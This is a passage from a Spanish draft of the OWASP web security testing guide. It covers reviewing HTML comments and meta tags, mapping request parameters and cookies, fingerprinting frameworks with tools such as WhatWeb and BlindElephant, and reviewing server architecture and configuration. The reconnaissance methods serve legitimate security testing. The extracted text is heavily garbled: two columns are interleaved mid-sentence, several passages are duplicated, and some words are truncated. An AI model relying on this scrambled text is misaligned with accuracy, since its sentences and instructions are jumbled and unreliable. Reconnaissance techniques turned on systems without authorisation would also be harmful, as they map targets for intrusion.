para el dominio example.com. Si el evaluador es afortunado, recibirá una lista de de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver
las entradas DNS de este dominio. Esto incluirá el obvio resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para
obtener un análisis más exhaustivo.
(syntax: http://whois.webhosting.info/x.x.x.x)
Googlear
Herramientas
• Herramientas de búsqueda DNS como nslookup, dig y similares.
• Nmap - insecure.org
...
• Nessus Vulnerability Scanner - nessus.org
• Nikto - cirt.net
<div class=”table2”>
<!-- uery: SELECT id, name FROM app.users WHERE active=’1’ -->
Revise los comentarios y metadatos de la página web para entender mejor la • “loose.dtd” -- loose DTD
aplicación y encontrar cualquier fuga de información.
• “frameset.dtd” -- DTD for frameset documents
Cómo probar Los comentarios HTML son utilizados por los desarrolladores para
incluir información sobre la depuración de la aplicación. A veces se olvidan de los Algunas Metaetiquetas no proveen vectores de ataque activos, sino más bien
comentarios y se quedan en la producción. Los evaluadores deben busquar permiten a un atacante hacer un perfil de la aplicación
comentarios en HTML que comienzan con "".
Y
Herramientas
• Wget
<META http-equiv=”Cache-Control” content=”no-cache”>
• Browser “view source” function
• Eyeballs
Resultará en
• Curl
Cache-Control: no-cache
Referencias
Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyección (por
ejemplo ataques CRLF). También puede ayudar a determinar el nivel de fuga de Libros Blancos
datos a través de la caché del navegador.
[1] HTML version 4.01: w3.org
Una Meta etiqueta común (pero no obediente en WCAG) es la actualización.
[2] XHTML (for small devices): w3.org
<META http-equiv=”Refresh”
[3] HTML version 5 : w3.org
content=”15;URL=https://www.owasp.org/index.html”>
GMT”>
<META name=”keywords” lang=”en-us” content=”OWASP, security, Enumerar la aplicación y su superficie de ataque es un precursor clave antes que
sunshine, lollipops”> cualquier prueba de fondo puede llevarse a cabo, ya que
GMT”>
Entender cómo se forman las solicitudes y las respuestas típicas de la aplicación. Una vez que ha mapeado cada área de la aplicación, puede ir a través de la
aplicación y probar cada una de las áreas que ha identificado y tomar notas de lo
que funcionó y lo que no funcionó. El resto de esta guía identificará cómo se
prueba cada una de estas áreas de interés, pero esta sección debe realizarse antes
Cómo probar de que la prueba real pueda comenzar.
Note que para ver los parámetros enviados en una petición POST, el Solicitudes:
evaluador tendrá que utilizar una herramienta como un interceptador de proxy
(por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del
navegador. Dentro de la solicitud POST, el evaluador debe también poner
atención especial a cualquier campo oculto que se esté pasando a la • Identificar dónde se utilizan peticiones GET y POST.
aplicación, ya que estos generalmente contienen información confidencial,
como información sobre el estado, cantidad de artículos o el precio de los • Identificar todos los parámetros en las peticiones POST (estos son en el cuerpo
artículos que el desarrollador nunca quiso que usted pudiera ver o cambiar. de la solicitud)
• Identifique todos los parámetros utilizados en una petición GET (es decir, la
Adicionalmente, en este punto, el evaluador normalmente atrapa cada URL), en particular la cadena de consulta (generalmente después de un signo ?).
solicitud y respuesta para que él pueda ver exactamente cada encabezado,
parámetro, etc., que pasa a la aplicación y lo que devuelve. Esto puede ser • Identifique todos los parámetros de la cadena de consulta. Estos generalmente
bastante tedioso a veces, especialmente para sitios grandes e interactivos están en pares, como foo = bar. También tenga en cuenta que muchos de los
bancaria). Sin embargo, la experiencia le
(piense en una aplicación parámetros pueden estar en una cadena de consulta separados por un &, ~,:, o
cualquier otro carácter especial o codificación.
dirá al evaluador qué es lo que debe buscar y el tiempo
utilizado durante esta fase puede reducirse significativamente.
Respuestas: EJEMPLO 2
En este ejemplo se muestra una solicitud POST que debería conectarle a una
aplicación.
• Identifique dónde se establecen nuevas cookies (encabezado Set-Cookie),
modifican o añaden.
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?-
• Identifique dónde hay redireccionamientos (estado de código 3xx HTTP)
códigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de service=login
servidor interno (internal server errors) durante las respuestas normales (es
Host: x.x.x.x
decir, sin modificar solicitudes).
Cookie:
• También note dónde se utiliza cualquier encabezado interesante. Por ejemplo,
SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH
"Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un
ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz
sitio tiene su carga equilibrada y un servidor está configurado incorrectamente,
NA==
entonces el evaluador podría tener que hacer varias solicitudes para acceder al
servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.
CustomCookie=00my00trusted00ip00is00x.x.x.x00
Result Expected:
EJEMPLO 1
En este ejemplo el evaluador debe anotar todos los parámetros como lo hizo
Este ejemplo muestra una solicitud GET que debería adquirir un elemento de antes, pero observe que los parámetros se pasan en el cuerpo del mensaje y no en
una aplicación de compras en línea. la URL. Además, tenga en cuenta que hay una cookie personalizada que está
siendo utilizada.
GET
https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= Pruebas de Caja Gris
z101a&PRICE=62.50&IP=x.x.x.x
Probar en busca de puntos de entrada de la aplicación a través de una
Host: x.x.x.x metodología de Caja Gris consistiría en todo lo ya identificado anteriormente
con una adición. En los casos donde hay fuentes externas de las que la aplicación
Cookie: recibe datos y los procesa (tales como trampas SNMP, mensajes syslog,
SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG
mensajes SMTP o SOAP de otros servidores) una reunión con los
ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
desarrolladores de la aplicación podría identificar las funciones que aceptan o
esperan el ingreso de datos del usuario y cómo están formateados. Por ejemplo,
el desarrollador podría ayudar a entender cómo formular una petición SOAP
correcta que aceptaría la aplicación y dónde reside el servicio web (si el servicio
web o cualquier otra función no ha sido identificada durante las pruebas de Caja
Negra).
Result Expected:
Aquí el evaluador debe anotar todos los parámetros de la petición tales como
CUSTOMERID, ITEM, PRICE, IP y las cookies (que podrían ser sólo Herramientas
parámetros codificados o utilizadas para el estado de sesión).
Proxy de intercepción:
• OWASP: Zed Attack Proxy (ZAP) Hay varias maneras de acercarse a las pruebas y a la medición de la cobertura del
código:
• OWASP: WebScarab
• Burp Suite
• Ruta - Pruebe cada uno de los caminos a través de una aplicación que incluye
• CAT combinatoria y análisis de valores límite para cada ruta de decisión. Aunque este
enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente
con cada rama de decisión.
Accesorios de motores de búsqueda: • Flujo de Datos (o análisis de la mancha) - prueba la asignación de variables a
través de la interacción externa (normalmente los usuarios). Se centra en crear
• TamperIE for Internet Explorer mapas del flujo, transformación y uso de datos a través de una aplicación.
• Tamper Data for Firefox • Carrera - prueba varias instancias simultáneas de la aplicación manipulando los
mismos datos.
Referencias
El acuerdo en cuanto a qué método se utiliza y en qué medida se utiliza cada
Libros Blancos método debe ser negociado con el dueño de la aplicación. Enfoques más simples
podrían también adoptarse, incluyendo el preguntarle al dueño de la aplicación
las funciones o secciones del código por las que están particularmente
preocupados y cómo llegar a esos segmentos de código.
• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 -
tools.ietf.org
Pruebas de Caja Negra
Ejemplo
Cómo probar
Spidering automático
En las pruebas de Caja Negra es extremadamente difícil probar todo el código
base. No sólo porque el evaluador no tiene ninguna vista de las rutas de código a Los robots araña automáticos son una herramienta utilizada para descubrir
través de la aplicación, e incluso si lo hicieran, probar todas las rutas del código automáticamente nuevos recursos (URL) en un sitio web en
tomaría mucho tiempo. Una manera de reconciliar esto es documentar qué rutas
del código fueron descubiertas y probadas.
particular. Comienza con una lista de URL a visitar, llamadas semillas, que [1] en.wikipedia.org
dependen de cómo se inicia el robot araña. Si bien hay un montón de
herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy
(ZAP):
• Sitio de Robot Araña - la lista de semillas contiene todas las URL existentes ya
encontradas en el sitio seleccionado.
prueba. Dicha información puede ser derivada de un cuidadoso análisis
• Subárbol de Robot araña - la lista de semillas contiene todas las URL existentes
ya encontradas y presentes en el subárbol del nodo seleccionado.
de ciertos lugares comunes. La mayoría de los frameworks web tienen varios
• URL de robot Araña - la lista de semillas contiene sólo la URL correspondiente
marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es
al nodo seleccionado (en el árbol de sitio).
básicamente lo que todas las herramientas automáticas hacen: buscar un
marcador desde una ubicación predefinida y luego compararlo con la base de
• Vista completa de Robot Araña - la lista de semillas contiene todas las URL
datos de firmas conocidas. Para mayor precisión se utilizan, generalmente,
que el usuario ha seleccionado como 'A la vista'.
varios marcadores.
Herramientas
[*] Tenga en cuenta que este artículo no hace ninguna diferenciación entre
Frameworks de aplicación Web (WAF) y sistemas de gestión de contenidos
• Zed Attack Proxy (ZAP)
(CMS). Esto se ha hecho para que sea conveniente marcar con huellas
digitales ambos casos en un solo capítulo. Además, se hace referencia a ambas
• Spreadsheet software
categorías como frameworks web.
• Diagramming software
Objetivos de la prueba
Referencias
El tipo de framework web usado, asi como tener una mejor comprensión de la
metodología de pruebas de seguridad.
Libros Blancos
sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el capítulo
#Remediación).
Cómo probar
• Encabezados HTTP
• Cookies
HTTP/1.1 200 OK
• Códigos fuente HTML
Server: nginx/1.0.14
• Carpetas y documentos específicos
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Encabezados HTTP
Connection: close
La forma básica de identificación de un framework web es mirar el campo X-
Powered-By en el encabezado de respuesta HTTP. Muchas herramientas Vary: Accept-Encoding
pueden utilizarse para marcar una huella digital. La más simple es la utilidad
netcat. X-Powered-By: Blood, sweat and tears
HTTP/1.1 200 OK
Server: nginx/1.0.14
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
Server: nginx/1.4.1
Cookies
Sin embargo, estos cambios son menos comunes que cambiar el encabezado
Otra manera similar pero más confiable de determinar el framework web
X-Powered-By, por lo que este enfoque puede ser considerado como más
actual es determinar el framework de cookies específicas.
confiable.
Considere la siguiente solicitud HTTP:
Host: defcon-moscow.org Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de
la página HTML. A menudo se puede encontrar una gran cantidad de
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv: información que ayuda a un evaluador a reconocer un framework específico
22. 0) Gecko/20100101 Firefox/22 . 0 de la web. Uno de los marcadores comunes son comentarios HTML que
conducen directamente a la divulgación del framework. Más a menudo, ciertas
Accept: text/html, application/xhtml + xml, application/xml; q=0.9,
*/*; q=0 , 8 rutas específicas del framework pueden encontrarse, es decir, frameworks css
y/o carpetas js específicos. Finalmente, las variables de secuencia de
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 comandos (script) específicas podrían también apuntar a un cierto framework.
Con mayor frecuencia, dicha información se coloca entre etiquetas Actualmente, es una de las mejores herramientas de huellas digitales en el
<head></head> en etiquetas <meta> o al final de la página. mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
• reconocimiento de URL
BlindElephant
Archivos y carpetas específicos
Los archivos y carpetas específicos son diferentes en cada framework Página Web: community.qualys.com
específico. Se recomienda instalar el correspondiente framework durante las
pruebas de penetración para tener mejor entendimiento de qué infraestructura Esta magnífica herramienta funciona mediante el principio de
se presenta y qué archivos pueden quedar en el servidor. Sin embargo, ya checksum (suma de comprobación) de archivos estáticos
existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de
basados en la diferencia de la versión que proporciona así una
archivos y carpetas predecibles (code.google.com).
alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa:
Una lista de herramientas generales y muy conocidas se presenta a
continuación. También hay un sinfín de otras utilidades, así como
herramientas de huellas digitales basadas en frameworks.
WhatWeb:
Loaded /Library/Python/2.7/site-
packages/blindelephant/dbs/drupal.pkl with 145 versions, 478
differentiating paths, and 434 version groups.
cargar la página en el navegador. Funciona totalmente a nivel de navegador y
Starting BlindElephant fingerprint for version of drupal at da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto
http://my_target es muy útil para tener una noción de qué tecnologías fueron utilizadas para
construir el sitio web de destino inmediatamente después de navegar por una
página.
Hit http://my_target/CHANGELOG.txt
Hit http://my_target/INSTALL.txt
Hit http://my_target/misc/drupal.js
Hit http://my_target/MAINTAINERS.txt
Referencias
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, • Saumil Shah: “An Introduction to HTTP fingerprinting” -
7.10, 7.11, 7.12, 7.13, 7.14
net-square.com
...
Remediación
Se recomienda reemplazar los nombres de las cookies al hacer cambios en los Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el
archivos de configuración correspondientes. fin de automatizar este proceso, existen ciertos accesorios (plugins)
específicos del framework. Un ejemplo para WordPress es StealthLogin:
wordpress.org.
Código fuente HTML
Guías generales:
Guías generales:
• Asegúrese de que no hay marcadores visuales que revelen el framework. El propósito de este enfoque es vencer los escaneos basados en checksum (la
suma de comprobación) y no permitirles revelar archivos por sus hashes. En
• uite todos los comentarios innecesarios (derechos de autor, información de general, existen dos enfoques en la gestión de checksum:
errores, comentarios específicos del framework).
• Utilice los archivos css o js propios de la empresa y no los almacene • Modificar el contenido - incluso una ligera modificación resulta en una suma
de hash completamente diferente, así que añadir un solo byte en el final del
archivo no debe ser un gran problema.
Guias generales:
Resumen
GET / HTTP/1.1
No hay nada nuevo bajo el sol, y casi cada aplicación web que se puede
pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
proyectos de software libre y de código abierto que son desarrollados y Gecko/20100101 Firefox/31.0
desplegados activamente alrededor del mundo, es muy probable que una
prueba de seguridad enfrentará un sitio objetivo que es total o parcialmente Accept:
dependiente de una de estas aplicaciones muy conocidas (por ejemplo, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las
Accept-Language: en-US,en;q=0.5
aplicaciones web que se están probando ayuda significativamente en el
proceso de prueba y se reduce drásticamente
‘’’Cookie: wp-settings-time-1=1406093286; wp-settings-time-
2=1405988284’’’
el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas
tienen encabezados HTML, cookies y estructuras de directorios que se pueden
DNT: 1
enumerar para identificar la aplicación.
Connection: keep-alive
Host: blog.owasp.org
Objetivos de la prueba
Podemos ver que para algunas carpetas de WordPress-específicas (por Identificadores de aplicación común
ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son
403 (prohibido), 302 (encontrado, redirección a wp-login.php) y 200 (OK), Cookies
respectivamente. Este es un buen indicador de que el objetivo es alimentado
por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones
plugin y sus versiones. En la imagen siguiente puede ver un archivo
CHANGELOG, típico de un plugin Drupal, que proporciona información
sobre la aplicación que está siendo usada y revela una versión del plugin
vulnerable.
• Expresiones regulares
• MD5 hashes
• Reconocimiento de URL
BlindElephant
WhatWeb:
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl
with 145 versions, 478 differentiating paths, and 434 version groups.
Hit http://my_target/CHANGELOG.txt
Hit http://my_target/INSTALL.txt
Hit http://my_target/misc/drupal.js
File produced no match. Error: Retrieved file doesn’t match known Libros Blancos
fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9,
7.10, 7.11, 7.12, 7.13, 7.14
• Anant Shrivastava : “Web Application Finger Printing” - anantshri.info
...
Remediación
Fingerprinting resulted in:
El consejo general es usar varias de las herramientas descritas anteriormente y
verificar los registros para entender exactamente lo que ayuda a un atacante a
Wappalyzer
revelar el framework web. Mediante la realización de múltiples análisis
Página web: http://wappalyzer.com después de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
Wapplyzer es un plugin de Firefox Chrome. Sólo funciona en coincidencias framework no puede ser detectado por análisis automáticos. A continuación se
de expresiones regulares y no necesita otra cosa que cargar la página en el presentan algunas recomendaciones específicas, de acuerdo a la ubicación del
navegador. Funciona totalmente a nivel de marcador del framework y algunos enfoques adicionales interesantes.
navegador y da resultados en forma de iconos. Aunque a veces tiene falsos Encabezados HTTP
positivos, esto es muy útil para tener una noción de qué tecnologías fueron
Compruebe la configuración y desactive u ofusque todos los encabezados • Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a
HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: htaccess y agregando RewriteCond o RewriteRule allí. A continuación se
grahamhosking.blogspot.ru presenta un ejemplo de tal restricción para dos carpetas comunes de
WordPress.
Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el
fin de automatizar este proceso, existen ciertos accesorios (plugins)
específicos del framework. Un ejemplo para WordPress es StealthLogin:
Código fuente HTML
wordpress.org.
Compruebe manualmente el contenido del código HTML y elimine todo lo
que explícitamente señala el framework.
Enfoques adicionales
• Asegúrese de que no hay marcadores visuales que revelen el framework. El propósito de este enfoque es vencer a los escaneos basados en checksum (la
suma de comprobación) y no permitirles revelar archivos por sus hashes. En
• uite todos los comentarios innecesarios (derechos de autor, información de general, existen dos enfoques en la gestión de checksum:
errores, comentarios específicos del framework).
Archivos y carpetas especificas atacante. ¡Pero tenga cuidado de no sobreescribir las carpetas
y archivos existentes o romper el framework actual!.
Guias generales:
• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica Cree un mapa de la arquitectura de la
archivos de texto que revelen información sobre las versiones y la instalación
también.
aplicación (OTG-INFO-010)
Resumen
La complejidad de la infraestructura de servidores web interconectados y mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposición y
heterogéneos puede incluir cientos de aplicaciones web y hace de la gestión de amplia el mapa de arquitectura. El evaluador comenzará haciendo preguntas simples
configuración y de la revisión un paso fundamental en la prueba e como: "¿existe un sistema firewalling que protege al servidor web?". Esta pregunta
implementación de cada aplicación. De hecho, se necesita sólo una se responderá a partir de los resultados del análisis de red orientada hacia el servidor
vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso web y el análisis de si los puertos de red del servidor web se están filtrando en el
problemas pequeños y sin importancia aparente pueden convertirse en serios límite de la red (no se recíbe ninguna respuesta o se reciben mensajes de ICMP
riesgos para otra aplicación en el mismo servidor. inalcanzables) o si el servidor está conectado directamente a Internet (es decir,
devuelve paquetes RST para todos los puertos de no audio). Este análisis puede ser
mejorado para determinar el tipo de firewall utilizado, basado en pruebas de
paquetes de red. ¿Es el firewall una aplicación de estado completo o es un filtro de
Para abordar estos problemas, es de suma importancia llevar a cabo lista de acceso en un ruteador? ¿Cómo está configurado? ¿Puede evitarse?
una profunda revisión de la configuración y problemas de seguridad Detectar a un proxy inverso delante de un servidor web debe hacerse por el análisis
conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de del banner del servidor web, que podría revelar directamente la existencia de un
la red y de la arquitectura de la aplicación. Los diferentes elementos que proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). También puede ser
conforman la infraestructura necesitan ser determinados para entender cómo determinado mediante la obtención de las respuestas dadas por el servidor web a las
interactúan con una aplicación web y cómo ellos afectan a la seguridad. peticiones y comparándolas con las respuestas esperadas. Por ejemplo, algunos
proxys inversos actúan como "sistemas de prevención de intrusiones" (o escudos
web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el
servidor web responde con un mensaje 404 a una petición que se dirige a una página
que no está disponible y devuelve un mensaje de error diferente para algunos ataques
web comunes como los realizados por escáneres CGI, podría ser una indicación de
Cómo probar que existe un proxy inverso (o un firewall de nivel de aplicación) que está filtrando
las solicitudes y devuelve una página de error diferente a lo que se espera. Otro
Cree un mapa de la arquitectura de la aplicación ejemplo: Si el servidor web devuelve un
Se debe crear el mapa de la arquitectura de la aplicación mediante algunas conjunto de métodos HTTP disponibles (incluyendo TRACE) pero los métodos
pruebas para determinar qué componentes se usan para construir la aplicación esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.
web. En instalaciones pequeñas, una sencilla aplicación basada en CGI podría
utilizar un solo servidor para que corra el servidor web que ejecuta la
aplicación C, Perl o Shell CGIs y quizás también el mecanismo de
autenticación. En algunos casos, incluso el sistema de protección se entrega a sí mismo:
Los proxys inversos también se pueden presentar como proxy-caché para acelerar [1] WebSEAL, también conocido como Tivoli Authentication Manager, es un
el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La proxy inverso de IBM que es parte del framework de Tivoli.
detección de estos proxies puede hacerse a base del encabezado del servidor.
También pueden detectarse tomando el tiempo de las peticiones que deben ser [2] Hay algunas herramientas de administración basadas en GUI para Apache
almacenadas en caché por el servidor de sincronización y comparando el tiempo de (como NetLoony), pero todavía no son de uso generalizado.
la primera solicitud con las solicitudes subsiguientes.
• Los diferentes elementos que conforman la infraestructura deben ser versión del servidor web cuando las vulnerabilidades se arreglan, la herramienta de
determinados con el fin de comprender cómo interactúan con una aplicación web y análisis marcará vulnerabilidades que no existen. Este último caso es realmente
cómo afectan a su seguridad. muy común, ya que algunos proveedores de sistemas operativos instalan parches
para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al
• Todos los elementos de la infraestructura deben revisarse para asegurarse de que software que proporcionan en el sistema operativo, pero no hacen una carga
no contienen vulnerabilidades conocidas. completa de la última versión de software. Esto sucede en la mayoría de las
distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayoría de los
• Debe hacerse una revisión de las herramientas administrativas usadas para dar casos, el análisis de vulnerabilidad de una arquitectura de aplicación sólo
mantenimiento a los diferentes elementos. encontrará vulnerabilidades asociadas a los elementos "expuestos" de la
arquitectura (como el servidor web) y suelen ser incapaces de encontrar
• Los sistemas de autenticación necesitan ser revisados para asegurarse que sirven a vulnerabilidades asociadas a elementos que no están directamente expuestos, tales
las necesidades de la aplicación y que no pueden ser manipulados por los usuarios como la autenticación en segundo plano (back end), o la base de datos acceso
externos para obtener el acceso. restringido, o el proxy inverso que se encuentra en uso.
• Una lista de puertos definidos que se requieren para la aplicación debe recibir
mantenimiento y debe guardarse con un control de cambios.
Por último, no todos los proveedores de software revelan vulnerabilidades de
manera pública y, por lo tanto, estas debilidades no son registradas dentro de bases
de datos de vulnerabilidades conocidas públicamente[1]. Esta información sólo es
Después de haber elaborado un mapa de los diferentes elementos que conforman revelada a los clientes o publicada a través de soluciones que no van acompañadas
la infraestructura (vea mapa de red y arquitectura de la aplicación), es posible de advertencias. Esto reduce la utilidad de las herramientas de análisis de
revisar la configuración de cada elemento encontrado y probarlos en busca de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas
cualquier vulnerabilidad conocida. herramientas será muy buena para los productos comunes (como el servidor web
Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no
cumplirán con productos menos conocidos.
Cómo probar
Vulnerabilidades conocidas de los servidores Por esta razón, la revisión de vulnerabilidades se realiza mejor cuando al evaluador
se le proporciona información interna del software utilizado, incluyendo versiones
Las vulnerabilidades encontradas en las diferentes áreas de la arquitectura de la y actualizaciones usadas y parches aplicados al software. Con esta información, el
aplicación, ya sea en el servidor web o en la base de datos de acceso restringido, evaluador puede recuperar la información del mismo proveedor y analizar qué
pueden comprometer seriamente a la propia aplicación. Por ejemplo, considere vulnerabilidades pueden estar presentes en la arquitectura y cómo pueden afectar a
una vulnerabilidad del servidor que permite a un usuario remoto no autenticado la aplicación en sí. Cuando sea posible, estas vulnerabilidades pueden analizarse
subir archivos al servidor web o incluso reemplazar los archivos. Esta para determinar sus efectos reales y detectar si pueden haber elementos
vulnerabilidad podría comprometer la aplicación, ya que un usuario granuja
puede ser capaz de reemplazar la aplicación o introducir un código que puede
afectar a los servidores de acceso restringido, ya que el código de la aplicación
del atacante funcionaría como cualquier otra aplicación. externos (tales como sistemas de detección o prevención de intrusiones) que
podrían reducir o negar la posibilidad de explotación exitosa. Los evaluadores
podrían determinar incluso, a través de una revisión de la configuración, que la
vulnerabilidad no está presente, puesto que afecta a un componente de software que
La revisión de vulnerabilidades del servidor puede ser difícil de efectuar si la no está en uso.
prueba debe hacerse a través de una prueba de penetración ciega. En estos casos,
las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando
una herramienta automatizada. Sin embargo, las pruebas de algunas
vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no También vale la pena señalar que los vendedores a veces solucionan las
sería posible probar para otros, (como aquellos directamente involucrados en la vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas
negación de ataques al servicio), debido a la reducción de la calidad de tiempo versiones de software. Los diferentes proveedores tendrán diversos ciclos de
de servicio involucrado si la prueba fuera exitosa. lanzamiento que determinan el apoyo que pueden proporcionar para versiones más
antiguas. Un evaluador con información detallada de las versiones del software
utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones
viejas de software que podrían no tener soporte en el corto plazo o que ya no
Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una
versión obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. versión antigua de software, que ya no tiene soporte, el personal de sistemas podría
Por un lado, si la versión del servidor web ha sido eliminada u oscurecida por el no estar directamente consciente de ello. No habrán parches disponibles para él y
administrador del sitio local, la herramienta de análisis no marcará al servidor como las advertencias no pondrán en la lista a esa versión como vulnerable ya que no
vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la tiene soporte. Incluso, en el caso de que estén conscientes de que existe la
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
72
Guia de pruebas 4.0 "Borrador"
[2] Tal como Symantec’s Bugtraq, ISS’ X-Force, o NIST’s National Vulnerability
Herramientas administrativas Database (NVD).
Cualquier infraestructura de servidor web requiere la existencia de herramientas [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero
administrativas para dar mantenimiento y actualizar la información utilizada por la no se usan masivamente todavía.
aplicación. Esta información incluye contenido estático (páginas web, archivos
gráficos), código fuente de la aplicación, bases de datos de autenticación de
usuario, etc. Las herramientas administrativas serán diferentes según el sitio, la
tecnología o el software utilizado. Por ejemplo, algunos servidores se gestionan Pruebe la Configuración de la Plataforma de
mediante interfaces administrativas, que son estos mismos servidores web (como el
servidor web iPlanet) o serán administradas por archivos de texto con la Aplicaciones (OTG-CONFIG-002)
configuración (en caso del Apache[2]) que usen un sistema operativo GUI tools (al
usar el servidor IIS o ASP.Net de Microsoft). Resumen
Después de haber elaborado mapas de las interfaces administrativas utilizadas para Mientras que la instalación tipica del servidor de la web y de la aplicación
administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si contendrá mucha funcionalidad (como ejemplos de aplicación, documentación,
un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o páginas de prueba) lo que no es esencial debe retirarse antes de la implementación
dañar la arquitectura de la aplicación. Para ello es importante: para evitar la explotación de estos después de la instalación.
Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de código Es imposible decir genéricamente cómo debe configurarse un servidor, sin
fuente en Cocoon de Apache). embargo, algunas pautas comunes deben tomarse en cuenta:
Los escáneres CGI incluyen una lista detallada de archivos conocidos y las • Sólo habilite módulos de servidor (extensiones ISAPI en IIS) que son necesarios
muestras de directorio que son entregadas por diferentes servidores web o de para la aplicación. Esto reduce la superficie de ataque puesto que el servidor se
aplicaciones, y pueden ser una forma rápida de determinar si estos archivos están reduce en tamaño y complejidad al desactivar módulos del software. También evita
presentes. Sin embargo, la única manera para estar totalmente seguro es hacer una que las vulnerabilidades que podrían aparecer en el software del proveedor afecten
revisión completa de los contenidos del servidor web o servidor de aplicaciones y al sitio si sólo están presentes en los módulos que han sido ya desactivados.
determinar si están relacionados con la aplicación propiamente dicha o no.
• Maneje los errores del servidor (40x o 50x) con páginas personalizadas en vez de
usar las páginas genéricas del servidor web. Específicamente asegúrese de que los
errores de aplicación no serán devueltos al usuario final y que ningún código se
Revisión de comentarios filtre a través de estos errores, ya que esto ayudaría al atacante. Es realmente muy
común olvidar este punto ya que los desarrolladores necesitan esta información en
Es muy común, e incluso se recomienda a los programadores, que incluyan entornos de preproducción.
comentarios detallados en su código fuente para permitir a otros
• Asegúrese de que el software del servidor se ejecuta con privilegios mínimos del
sistema operativo. Esto evita que un error en el software del servidor comprometa
directamente todo el sistema, aunque un atacante podría elevar los privilegios una
programadores entender por qué se tomó una determinada decisión en la vez que ejecute códigos como servidor web.
codificación de una función dada. Los programadores suelen añadir comentarios al
desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios • Asegúrese de que el software de servidor registra correctamente accesos legítimos
incluidos en líneas de código HTML podrían revelar información interna que no y errores.
debería estar disponible para un atacante. A veces, incluso existe el comentario de
haber retirado el código fuente ya que una funcionalidad ya no es necesaria, pero • Asegúrese de que el servidor está configurado para manejar las sobrecargas
este comentario se fuga hacia afuera, a las páginas HTML que se devuelven a los adecuadamente y evitar ataques de denegación de servicio. Asegúrese de que el
usuarios accidentalmente. servidor ha sido calibrado correctamente en su rendimiento.
Revisión de la configuración
• No conceda permisos de escritura a la identidad que el servidor Web utiliza para Registros de Información sensible
tener acceso a applicationHost.config compartida. Esta identidad debe tener
permisos de sólo lectura. Algunas aplicaciones, por ejemplo, podrían utilizar peticiones GET para
enviar datos de formularios que serán vistas en los registros del servidor.
• Utilice una identidad separada para publicar applicationHost.config al recurso Esto significa que los registros de servidor pueden contener información
compartido. No use esta identidad para configurar el acceso a la configuración sensible (como nombres de usuario, como contraseñas o datos
